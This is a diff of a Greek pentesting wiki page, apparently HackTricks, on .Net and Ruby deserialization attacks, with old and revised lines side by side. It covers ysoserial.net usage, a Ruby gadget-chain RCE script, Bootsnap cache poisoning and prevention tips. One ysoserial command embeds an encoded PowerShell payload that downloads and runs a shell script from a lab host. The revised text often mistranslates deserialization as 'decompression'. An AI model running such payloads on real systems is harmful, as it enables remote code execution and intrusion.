- Slides: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
## .Net
Στο πλαίσιο του .Net, οι εκμεταλλεύσεις αποσυναρμολόγησης λειτουργούν με τρόπο παρόμοιο με εκείνες που βρίσκονται στην Java, όπου τα gadgets εκμεταλλεύονται για να εκτελέσουν συγκεκριμένο κώδικα κατά τη διάρκεια της αποσυναρμολόγησης ενός αντικειμένου.
Στο πλαίσιο του .Net, οι εκμεταλλεύσεις αποσυμπίεσης λειτουργούν με τρόπο παρόμοιο με εκείνες που βρίσκονται στην Java, όπου τα gadgets εκμεταλλεύονται για να εκτελέσουν συγκεκριμένο κώδικα κατά τη διάρκεια της αποσυμπίεσης ενός αντικειμένου.
### Δακτυλοσκόπηση
@ -639,19 +693,19 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
#### BlackBox
Η αναζήτηση θα πρέπει να στοχεύει στη Base64 κωδικοποιημένη συμβολοσειρά **AAEAAAD/////** ή οποιοδήποτε παρόμοιο μοτίβο που μπορεί να υποστεί αποσυναρμολόγηση στην πλευρά του διακομιστή, παρέχοντας έλεγχο πάνω στον τύπο που θα αποσυναρμολογηθεί. Αυτό θα μπορούσε να περιλαμβάνει, αλλά δεν περιορίζεται σε, **JSON** ή **XML** δομές που περιλαμβάνουν `TypeObject` ή `$type`.
Η αναζήτηση θα πρέπει να στοχεύει στη Base64 κωδικοποιημένη συμβολοσειρά **AAEAAAD/////** ή οποιοδήποτε παρόμοιο μοτίβο που μπορεί να υποστεί αποσυμπίεση στην πλευρά του διακομιστή, παρέχοντας έλεγχο πάνω στον τύπο που θα αποσυμπιεστεί. Αυτό θα μπορούσε να περιλαμβάνει, αλλά δεν περιορίζεται σε, δομές **JSON** ή **XML** που περιλαμβάνουν `TypeObject` ή `$type`.
### ysoserial.net
Σε αυτή την περίπτωση μπορείτε να χρησιμοποιήσετε το εργαλείο [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) προκειμένου να **δημιουργήσετε τις εκμεταλλεύσεις αποσυναρμολόγησης**. Αφού κατεβάσετε το git repository θα πρέπει να **συγκεντρώσετε το εργαλείο** χρησιμοποιώντας το Visual Studio για παράδειγμα.
Σε αυτή την περίπτωση μπορείτε να χρησιμοποιήσετε το εργαλείο [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) προκειμένου να **δημιουργήσετε τις εκμεταλλεύσεις αποσυμπίεσης**. Αφού κατεβάσετε το git repository θα πρέπει να **συγκεντρώσετε το εργαλείο** χρησιμοποιώντας το Visual Studio για παράδειγμα.
Αν θέλετε να μάθετε για **πώς δημιουργεί το ysoserial.net την εκμετάλλευσή του** μπορείτε να [**ελέγξετε αυτή τη σελίδα όπου εξηγείται το gadget ObjectDataProvider + ExpandedWrapper + Json.Net formatter**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
Οι κύριες επιλογές του **ysoserial.net** είναι: **`--gadget`**, **`--formatter`**, **`--output`** και **`--plugin`.**
- **`--gadget`** χρησιμοποιείται για να υποδείξει το gadget που θα εκμεταλλευτεί (υποδείξτε την κλάση/συνάρτηση που θα εκμεταλλευτεί κατά την αποσυναρμολόγηση για να εκτελέσει εντολές).
- **`--formatter`**, χρησιμοποιείται για να υποδείξει τη μέθοδο για τη σειριοποίηση της εκμετάλλευσης (πρέπει να γνωρίζετε ποια βιβλιοθήκη χρησιμοποιεί το back-end για να αποσυναρμολογήσει το payload και να χρησιμοποιήσετε την ίδια για να το σειριοποιήσετε)
- **`--output`** χρησιμοποιείται για να υποδείξει αν θέλετε την εκμετάλλευση σε **raw** ή **base64** κωδικοποιημένη. _Σημειώστε ότι το **ysoserial.net** θα **κωδικοποιήσει** το payload χρησιμοποιώντας **UTF-16LE** (κωδικοποίηση που χρησιμοποιείται από προεπιλογή στα Windows) οπότε αν πάρετε το raw και το κωδικοποιήσετε απλά από μια κονσόλα linux μπορεί να έχετε κάποια **προβλήματα συμβατότητας κωδικοποίησης** που θα εμποδίσουν την εκμετάλλευση να λειτουργήσει σωστά (στην HTB JSON box το payload λειτούργησε και σε UTF-16LE και ASCII αλλά αυτό δεν σημαίνει ότι θα λειτουργήσει πάντα)._
- **`--gadget`** χρησιμοποιείται για να υποδείξει το gadget που θα εκμεταλλευτεί (υποδείξτε την κλάση/συνάρτηση που θα εκμεταλλευτεί κατά την αποσυμπίεση για να εκτελέσει εντολές).
- **`--formatter`**, χρησιμοποιείται για να υποδείξει τη μέθοδο για τη σειριοποίηση της εκμετάλλευσης (πρέπει να γνωρίζετε ποια βιβλιοθήκη χρησιμοποιεί το back-end για να αποσυμπιέσει το payload και να χρησιμοποιήσετε την ίδια για να το σειριοποιήσετε)
- **`--output`** χρησιμοποιείται για να υποδείξει αν θέλετε την εκμετάλλευση σε **raw** ή **base64** κωδικοποιημένη. _Σημειώστε ότι το **ysoserial.net** θα **κωδικοποιήσει** το payload χρησιμοποιώντας **UTF-16LE** (κωδικοποίηση που χρησιμοποιείται από προεπιλογή στα Windows) οπότε αν πάρετε το raw και το κωδικοποιήσετε απλά από μια κονσόλα linux μπορεί να έχετε κάποια **προβλήματα συμβατότητας κωδικοποίησης** που θα εμποδίσουν την εκμετάλλευση να λειτουργήσει σωστά (στην HTB JSON box το payload λειτούργησε και σε UTF-16LE και ASCII αλλά αυτό δεν σημαίνει ότι θα λειτουργεί πάντα)._
- **`--plugin`** το ysoserial.net υποστηρίζει plugins για τη δημιουργία **εκμεταλλεύσεων για συγκεκριμένα frameworks** όπως το ViewState
#### Περισσότερες παράμετροι ysoserial.net
@ -679,7 +733,7 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
```
**ysoserial.net** έχει επίσης μια **πολύ ενδιαφέρουσα παράμετρο** που βοηθά να κατανοήσουμε καλύτερα πώς λειτουργεί κάθε εκμετάλλευση: `--test`\
Αν υποδείξετε αυτή την παράμετρο, **ysoserial.net** θα **δοκιμάσει** την **εκμετάλλευση τοπικά,** ώστε να μπορείτε να ελέγξετε αν το payload σας θα λειτουργήσει σωστά.\
Αν δηλώσετε αυτή την παράμετρο, **ysoserial.net** θα **δοκιμάσει** την **εκμετάλλευση τοπικά,** ώστε να μπορείτε να ελέγξετε αν το payload σας θα λειτουργήσει σωστά.\
Αυτή η παράμετρος είναι χρήσιμη γιατί αν αναθεωρήσετε τον κώδικα θα βρείτε κομμάτια κώδικα όπως το παρακάτω (από [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
```java
if (inputArgs.Test)
@ -706,7 +760,7 @@ return obj;
}
```
Στον **προηγούμενο κώδικα υπάρχει ευπάθεια στην εκμετάλλευση που δημιουργήθηκε**. Έτσι, αν βρείτε κάτι παρόμοιο σε μια εφαρμογή .Net, σημαίνει ότι πιθανώς αυτή η εφαρμογή είναι επίσης ευάλωτη.\
Επομένως, η **`--test`** παράμετρος μας επιτρέπει να κατανοήσουμε **ποια κομμάτια κώδικα είναι ευάλωτα** στην εκμετάλλευση της αποσειριοποίησης που μπορεί να δημιουργήσει το **ysoserial.net**.
Επομένως, η **`--test`** παράμετρος μας επιτρέπει να κατανοήσουμε **ποια κομμάτια κώδικα είναι ευάλωτα** στην εκμετάλλευση της αποσυμπίεσης που μπορεί να δημιουργήσει το **ysoserial.net**.
### ViewState
@ -714,37 +768,37 @@ return obj;
### Prevention
Για να μετριάσετε τους κινδύνους που σχετίζονται με την αποσειριοποίηση στο .Net:
Για να μετριάσετε τους κινδύνους που σχετίζονται με την αποσυμπίεση σε .Net:
- **Αποφύγετε να επιτρέπετε στις ροές δεδομένων να καθορίζουν τους τύπους αντικειμένων τους.** Χρησιμοποιήστε `DataContractSerializer` ή `XmlSerializer` όταν είναι δυνατόν.
- **Για το `JSON.Net`, ορίστε το `TypeNameHandling` σε `None`:** %%%TypeNameHandling = TypeNameHandling.None%%%
- **Αποφύγετε να επιτρέπετε στις ροές δεδομένων να ορίζουν τους τύπους αντικειμένων τους.** Χρησιμοποιήστε `DataContractSerializer` ή `XmlSerializer` όταν είναι δυνατόν.
- **Για το `JSON.Net`, ορίστε το `TypeNameHandling` σε `None`:** `TypeNameHandling = TypeNameHandling.None`
- **Αποφύγετε τη χρήση του `JavaScriptSerializer` με έναν `JavaScriptTypeResolver`.**
- **Περιορίστε τους τύπους που μπορούν να αποσειριοποιηθούν**, κατανοώντας τους εγγενείς κινδύνους με τους τύπους .Net, όπως το `System.IO.FileInfo`, το οποίο μπορεί να τροποποιήσει τις ιδιότητες των αρχείων του διακομιστή, ενδεχομένως οδηγώντας σε επιθέσεις άρνησης υπηρεσίας.
- **Περιορίστε τους τύπους που μπορούν να αποσυμπιεστούν**, κατανοώντας τους εγγενείς κινδύνους με τους τύπους .Net, όπως το `System.IO.FileInfo`, το οποίο μπορεί να τροποποιήσει τις ιδιότητες των αρχείων του διακομιστή, ενδεχομένως οδηγώντας σε επιθέσεις άρνησης υπηρεσίας.
- **Να είστε προσεκτικοί με τους τύπους που έχουν επικίνδυνες ιδιότητες**, όπως το `System.ComponentModel.DataAnnotations.ValidationException` με την ιδιότητα `Value`, η οποία μπορεί να εκμεταλλευτεί.
- **Ελέγξτε με ασφάλεια την αρχικοποίηση τύπων** για να αποτρέψετε τους επιτιθέμενους από το να επηρεάσουν τη διαδικασία αποσειριοποίησης, καθιστώντας ακόμη και το `DataContractSerializer` ή το `XmlSerializer` ευάλωτα.
- **Ελέγξτε με ασφάλεια την αρχικοποίηση τύπων** για να αποτρέψετε τους επιτιθέμενους από το να επηρεάσουν τη διαδικασία αποσυμπίεσης, καθιστώντας ακόμη και το `DataContractSerializer` ή το `XmlSerializer` ευάλωτα.
- **Εφαρμόστε ελέγχους λευκής λίστας** χρησιμοποιώντας έναν προσαρμοσμένο `SerializationBinder` για το `BinaryFormatter` και το `JSON.Net`.
- **Μείνετε ενημερωμένοι σχετικά με γνωστά ανασφαλή gadgets αποσειριοποίησης** εντός του .Net και διασφαλίστε ότι οι αποσειριοποιητές δεν δημιουργούν τέτοιους τύπους.
- **Απομονώστε τον δυνητικά επικίνδυνο κώδικα** από τον κώδικα με πρόσβαση στο διαδίκτυο για να αποφύγετε την έκθεση γνωστών gadgets, όπως το `System.Windows.Data.ObjectDataProvider` σε εφαρμογές WPF, σε μη αξιόπιστες πηγές δεδομένων.
- **Μείνετε ενημερωμένοι σχετικά με γνωστά ανασφαλή εργαλεία αποσυμπίεσης** εντός του .Net και διασφαλίστε ότι οι αποσυμπιεστές δεν δημιουργούν τέτοιους τύπους.
- **Απομονώστε τον ενδεχομένως επικίνδυνο κώδικα** από τον κώδικα με πρόσβαση στο διαδίκτυο για να αποφύγετε την έκθεση γνωστών εργαλείων, όπως το `System.Windows.Data.ObjectDataProvider` σε εφαρμογές WPF, σε μη αξιόπιστες πηγές δεδομένων.
### **References**
- Έγγραφο για την αποσειριοποίηση JSON σε Java και .Net: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** ομιλία: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) και διαφάνειες: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
- Έγγραφο σχετικά με την αποσυμπίεση JSON σε Java και .Net: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** ομιλία: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) και διαφάνειες: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp)
- [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)
- [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
## **Ruby**
Στη Ruby, η αποσειριοποίηση διευκολύνεται από δύο μεθόδους μέσα στη βιβλιοθήκη **marshal**. Η πρώτη μέθοδος, γνωστή ως **dump**, χρησιμοποιείται για να μετατρέψει ένα αντικείμενο σε ροή byte. Αυτή η διαδικασία αναφέρεται ως αποσειριοποίηση. Αντίθετα, η δεύτερη μέθοδος, **load**, χρησιμοποιείται για να επαναφέρει μια ροή byte πίσω σε ένα αντικείμενο, μια διαδικασία που ονομάζεται αποσειριοποίηση.
Στη Ruby, η αποθήκευση είναι δυνατή μέσω δύο μεθόδων μέσα στη βιβλιοθήκη **marshal**. Η πρώτη μέθοδος, γνωστή ως **dump**, χρησιμοποιείται για να μετατρέψει ένα αντικείμενο σε ροή byte. Αυτή η διαδικασία αναφέρεται ως αποθήκευση. Αντίθετα, η δεύτερη μέθοδος, **load**, χρησιμοποιείται για να επαναφέρει μια ροή byte πίσω σε ένα αντικείμενο, μια διαδικασία που ονομάζεται αποσυμπίεση.
Για την ασφάλεια των αποσειριοποιημένων αντικειμένων, **η Ruby χρησιμοποιεί HMAC (Hash-Based Message Authentication Code)**, διασφαλίζοντας την ακεραιότητα και την αυθεντικότητα των δεδομένων. Το κλειδί που χρησιμοποιείται για αυτό το σκοπό αποθηκεύεται σε μία από πολλές πιθανές τοποθεσίες:
Για την ασφάλεια των αποθηκευμένων αντικειμένων, **η Ruby χρησιμοποιεί HMAC (Hash-Based Message Authentication Code)**, διασφαλίζοντας την ακεραιότητα και την αυθεντικότητα των δεδομένων. Το κλειδί που χρησιμοποιείται για αυτό το σκοπό αποθηκεύεται σε μία από πολλές πιθανές τοποθεσίες:
- `config/environment.rb`
- `config/initializers/secret_token.rb`
- `config/secrets.yml`
- `/proc/self/environ`
**Γενική αποσειριοποίηση Ruby 2.X σε αλυσίδα gadget RCE (περισσότερες πληροφορίες στο** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
**Γενική αποσυμπίεση Ruby 2.X σε αλυσίδα gadget RCE (περισσότερες πληροφορίες στο** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:
```ruby
#!/usr/bin/env ruby
@ -854,13 +908,13 @@ candidate_methods.length() # Final number of methods=> 3595
### Ruby _json pollution
Όταν αποστέλλονται στο σώμα κάποιες τιμές που δεν είναι hashable όπως ένας πίνακας, θα προστεθούν σε ένα νέο κλειδί που ονομάζεται `_json`. Ωστόσο, είναι δυνατόν για έναν επιτιθέμενο να ορίσει επίσης στο σώμα μια τιμή που ονομάζεται `_json` με τις αυθαίρετες τιμές που επιθυμεί. Στη συνέχεια, αν το backend για παράδειγμα ελέγξει την αλήθεια μιας παραμέτρου αλλά στη συνέχεια χρησιμοποιήσει επίσης την παράμετρο `_json` για να εκτελέσει κάποια ενέργεια, θα μπορούσε να πραγματοποιηθεί παράκαμψη εξουσιοδότησης.
Όταν στέλνετε στο σώμα κάποιες τιμές που δεν είναι hashable όπως ένας πίνακας, θα προστεθούν σε ένα νέο κλειδί που ονομάζεται `_json`. Ωστόσο, είναι δυνατόν για έναν επιτιθέμενο να ορίσει επίσης στο σώμα μια τιμή που ονομάζεται `_json` με τις αυθαίρετες τιμές που επιθυμεί. Στη συνέχεια, αν το backend για παράδειγμα ελέγχει την αλήθεια μιας παραμέτρου αλλά στη συνέχεια χρησιμοποιεί επίσης την παράμετρο `_json` για να εκτελέσει κάποια ενέργεια, θα μπορούσε να πραγματοποιηθεί παράκαμψη εξουσιοδότησης.
Ελέγξτε περισσότερες πληροφορίες στη [σελίδα Ruby _json pollution](ruby-_json-pollution.md).
Ελέγξτε περισσότερες πληροφορίες στη σελίδα [Ruby _json pollution](ruby-_json-pollution.md).
### Other libraries
Αυτή η τεχνική ελήφθη [**από αυτήν την ανάρτηση blog**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
Αυτή η τεχνική ελήφθη[ **από αυτήν την ανάρτηση ιστολογίου**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
Υπάρχουν άλλες βιβλιοθήκες Ruby που μπορούν να χρησιμοποιηθούν για την σειριοποίηση αντικειμένων και επομένως θα μπορούσαν να καταχραστούν για να αποκτήσουν RCE κατά τη διάρκεια μιας ανασφαλούς αποσειριοποίησης. Ο παρακάτω πίνακας δείχνει μερικές από αυτές τις βιβλιοθήκες και τη μέθοδο που καλούν από τη φορτωμένη βιβλιοθήκη όποτε αποσειριοποιούνται (λειτουργία για κατάχρηση για να αποκτήσετε RCE βασικά):
@ -926,17 +980,17 @@ Check for more details in the [**original post**](https://github.blog/security/v
### Bootstrap Caching
Όχι πραγματικά μια ευπάθεια αποσυμπίεσης, αλλά ένα ωραίο κόλπο για να εκμεταλλευτείτε την προσωρινή αποθήκευση bootstrap για να αποκτήσετε RCE από μια εφαρμογή rails με τυχαία εγγραφή αρχείου (βρείτε την πλήρη [πρωτότυπη ανάρτηση εδώ](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)).
Όχι πραγματικά μια ευπάθεια αποσειριοποίησης αλλά ένα ωραίο κόλπο για να εκμεταλλευτείς την προσωρινή αποθήκευση bootstrap για να αποκτήσεις RCE από μια εφαρμογή rails με τυχαία εγγραφή αρχείου (βρες την πλήρη [πρωτότυπη ανάρτηση εδώ](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)).
Παρακάτω είναι μια σύντομη περίληψη των βημάτων που περιγράφονται στο άρθρο για την εκμετάλλευση μιας ευπάθειας τυχαίας εγγραφής αρχείου μέσω της εκμετάλλευσης της προσωρινής αποθήκευσης Bootsnap:
- Identify the Vulnerability and Environment
Η λειτουργία μεταφόρτωσης αρχείων της εφαρμογής Rails επιτρέπει σε έναν επιτιθέμενο να γράφει αρχεία τυχαία. Αν και η εφαρμογή εκτελείται με περιορισμούς (μόνο ορισμένοι φάκελοι όπως το tmp είναι εγγράψιμοι λόγω του μη-ριζικού χρήστη του Docker), αυτό επιτρέπει ακόμα την εγγραφή στον φάκελο προσωρινής αποθήκευσης Bootsnap (συνήθως κάτω από tmp/cache/bootsnap).
Η λειτουργία μεταφόρτωσης αρχείων της εφαρμογής Rails επιτρέπει σε έναν επιτιθέμενο να γράφει αρχεία τυχαία. Αν και η εφαρμογή εκτελείται με περιορισμούς (μόνο ορισμένοι φάκελοι όπως το tmp είναι εγγράψιμοι λόγω του μη-διαχειριστή χρήστη του Docker), αυτό επιτρέπει ακόμα τη γραφή στον φάκελο προσωρινής αποθήκευσης Bootsnap (συνήθως κάτω από tmp/cache/bootsnap).
- Understand Bootsnaps Cache Mechanism
Η Bootsnap επιταχύνει τους χρόνους εκκίνησης του Rails αποθηκεύοντας προσωρινά κωδικοποιημένα Ruby, YAML και JSON αρχεία. Αποθηκεύει αρχεία προσωρινής αποθήκευσης που περιλαμβάνουν μια κεφαλίδα κλειδιού προσωρινής αποθήκευσης (με πεδία όπως η έκδοση Ruby, το μέγεθος αρχείου, το mtime, οι επιλογές μεταγλώττισης κ.λπ.) ακολουθούμενη από τον κωδικοποιημένο κώδικα. Αυτή η κεφαλίδα χρησιμοποιείται για την επικύρωση της προσωρινής αποθήκευσης κατά την εκκίνηση της εφαρμογής.
Η Bootsnap επιταχύνει τους χρόνους εκκίνησης του Rails αποθηκεύοντας προσωρινά κωδικοποιημένα αρχεία Ruby, YAML και JSON. Αποθηκεύει αρχεία προσωρινής αποθήκευσης που περιλαμβάνουν μια κεφαλίδα κλειδιού προσωρινής αποθήκευσης (με πεδία όπως η έκδοση Ruby, το μέγεθος αρχείου, mtime, επιλογές μεταγλώττισης κ.λπ.) ακολουθούμενη από τον κωδικοποιημένο κώδικα. Αυτή η κεφαλίδα χρησιμοποιείται για την επικύρωση της προσωρινής αποθήκευσης κατά την εκκίνηση της εφαρμογής.
- Gather File Metadata
@ -944,7 +998,7 @@ Check for more details in the [**original post**](https://github.blog/security/v
- Compute the Cache File Path
Αναπαράγοντας τον μηχανισμό κατακερματισμού FNV-1a 64-bit της Bootsnap, προσδιορίζεται η σωστή διαδρομή του αρχείου προσωρινής αποθήκευσης. Αυτό το βήμα διασφαλίζει ότι το κακόβουλο αρχείο προσωρινής αποθήκευσης τοποθετείται ακριβώς εκεί που το περιμένει η Bootsnap (π.χ., κάτω από tmp/cache/bootsnap/compile-cache-iseq/).
Αναπαράγοντας τον μηχανισμό κατακερματισμού FNV-1a 64-bit της Bootsnap, προσδιορίζεται η σωστή διαδρομή αρχείου προσωρινής αποθήκευσης. Αυτό το βήμα διασφαλίζει ότι το κακόβουλο αρχείο προσωρινής αποθήκευσης τοποθετείται ακριβώς εκεί που το περιμένει η Bootsnap (π.χ., κάτω από tmp/cache/bootsnap/compile-cache-iseq/).
- Craft the Malicious Cache File